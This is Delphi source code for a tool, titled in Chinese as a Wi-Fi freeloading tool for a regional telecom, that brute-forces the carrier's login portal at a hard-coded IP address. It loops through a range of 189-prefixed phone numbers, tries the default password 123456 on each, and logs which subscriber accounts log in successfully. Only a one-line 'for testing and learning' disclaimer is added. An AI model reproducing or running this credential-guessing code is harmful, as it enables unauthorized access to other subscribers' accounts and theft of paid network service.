某地区电信蹭网工具
unit Unit1; interface uses Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms, Dialogs, StdCtrls, ComCtrls, ExtCtrls, OleCtrls, SHDocVw, IdBaseComponent, IdComponent, IdTCPConnection, IdTCPClient, IdHTTP; type TForm1 = class(TForm) Label1: TLabel; Label2: TLabel; Label3: TLabel; Label4: TLabel; Label5: TLabel; Edit1: TEdit; Edit2: TEdit; Edit3: TEdit; Button1: TButton; Button2: TButton; ListView1: TListView; Memo1: TMemo; Panel1: TPanel; Label6: TLabel; Label7: TLabel; WebBrowser1: TWebBrowser; Label8: TLabel; procedure FormCreate(Sender: TObject); procedure Button1Click(Sender: TObject); procedure Button2Click(Sender: TObject); private { Private declarations } public { Public declarations } end; var Form1: TForm1; implementation {$R *.dfm} uses TLHelp32, IdMultipartFormData; var SuccessNum: Integer; Count: Integer; StartNum: Integer; OverNum: Integer; TelPhone: Integer; Tel: String; Delay: Integer; Stop: Integer; item: TListItem; ActionUrl: String; { 进程存在性检测函数 } function FindProcess(AFileName: string): boolean; var hSnapshot: THandle; // 用于获得进程列表 lppe: TProcessEntry32; // 用于查找进程 Found: boolean; // 用于判断进程遍历是否完成 begin Result := False; hSnapshot := CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0); // 获得系统进程列表 lppe.dwSize := SizeOf(TProcessEntry32); // 在调用Process32First API之前,需要初始化lppe记录的大小 Found := Process32First(hSnapshot, lppe); // 将进程列表的第一个进程信息读入ppe记录中 while Found do begin if ((UpperCase(ExtractFileName(lppe.szExeFile)) = UpperCase(AFileName)) or (UpperCase(lppe.szExeFile) = UpperCase(AFileName))) then begin Result := True; end; Found := Process32Next(hSnapshot, lppe); // 将进程列表的下一个进程信息读入lppe记录中 end; end; { 结束进程函数 } procedure EndProcess(AFileName: string); const PROCESS_TERMINATE = $0001; var ExeFileName: String; ContinueLoop: BOOL; FSnapshotHandle: THandle; FProcessEntry32: TProcessEntry32; begin ExeFileName := AFileName; FSnapshotHandle := CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0); FProcessEntry32.dwSize := SizeOf(FProcessEntry32); ContinueLoop := Process32First(FSnapshotHandle, FProcessEntry32); while Integer(ContinueLoop) <> 0 do begin if ((UpperCase(ExtractFileName(FProcessEntry32.szExeFile)) = UpperCase (ExeFileName)) or (UpperCase(FProcessEntry32.szExeFile) = UpperCase (ExeFileName))) then TerminateProcess(OpenProcess(PROCESS_TERMINATE, BOOL(0), FProcessEntry32.th32ProcessID), 0); ContinueLoop := Process32Next(FSnapshotHandle, FProcessEntry32); end; end; { 延迟函数 } procedure TimeStop(msecs: Integer); var Tick: DWord; Event: THandle; begin Event := CreateEvent(nil, False, False, nil); try Tick := GetTickCount + DWord(msecs); while (msecs > 0) and (MsgWaitForMultipleObjects(1, Event, False, msecs, QS_ALLINPUT) <> WAIT_TIMEOUT) do begin Application.ProcessMessages; msecs := Tick - GetTickCount; end; finally CloseHandle(Event); end; end; { 猜测函数 } procedure ChechTel(TelPhone: Integer); begin // ShowMessage(IntToStr(Telphone)); {Post} Tel := 'http://219.150.59.241:80/login.do?username=189' + IntToStr(Telphone) + '&&passwd=123456&&postfix=@cw.xz.chntel.com&&address=xz&&areacode=ln&&browser=1&&loginvalue=1&&basePath=http%3A%2F%2F219.150.59.241%3A80%2F&&language=cn'; Form1.WebBrowser1.Navigate(Tel); Form1.Label8.Caption := Tel; { 延迟 } TimeStop(Delay); { 判断是否登录成功 } if FindProcess('wifiTray.dll') then begin item := Form1.ListView1.Items.Add; item.Caption := '189' + IntToStr(TelPhone); item.SubItems.Add('Success'); Form1.Memo1.Lines.Add('Find a Telphone Login Success : 189' + IntToStr (TelPhone)); { 结束进程 } EndProcess('wifiTray.dll'); { 计数器加加 } SuccessNum := SuccessNum + 1; end else begin item := Form1.ListView1.Items.Add; item.Caption := '189' + IntToStr(TelPhone); item.SubItems.Add('Fail'); end; end; { 处理号码段 } procedure TForm1.Button1Click(Sender: TObject); var Num: Integer; begin { 初始化计数器 } SuccessNum := 0; Stop := 0; { 取得开始和结束号码 } StartNum := StrToInt(Edit1.Text); OverNum := StrToInt(Edit2.Text); { 取得号码段总数 } if OverNum < StartNum then begin ShowMessage('Are You Ok? Guys!'); end else begin Count := OverNum - StartNum + 1; end; { 初始电话号码 } TelPhone := StartNum; { 取得延迟时间 } Delay := StrToInt(Edit3.Text); { 清空控件 } ListView1.Items.Clear; Memo1.Clear; { 检测是否已经断网 } if FindProcess('wifiTray.dll') then begin ShowMessage('Please Disconnect Your Wifi Net!'); end else begin Memo1.Lines.Add('Checking...'); { 循环猜测 } for Num := 0 to Count - 1 do begin if Stop = 0 then begin ChechTel(TelPhone); { 电话号码递增 } TelPhone := TelPhone + 1; end else begin { Stop } end; end; end; { 统计结果 } Memo1.Lines.Add('All Done!'); Memo1.Lines.Add('Find ' + IntToStr(SuccessNum) + ' Result(s)'); end; { 停止工作 } procedure TForm1.Button2Click(Sender: TObject); begin Stop := 1; Memo1.Lines.Add('Stoping...'); end; { 程序初始化 } procedure TForm1.FormCreate(Sender: TObject); var column: TListColumn; begin column := ListView1.Columns.Add; column.Width := 280; column.Caption := 'Telphone'; column := ListView1.Columns.Add; column.Width := 105; column.Caption := 'Status'; ListView1.Align := alTop; ListView1.ViewStyle := vsReport; ListView1.GridLines := True; { 非默认 } ListView1.ShowColumnHeaders := True; { 默认 } ActionUrl := 'http://219.150.59.241:80/login.do'; end; end.
仅仅是用于测试和学习,其他非法使用请自负责任。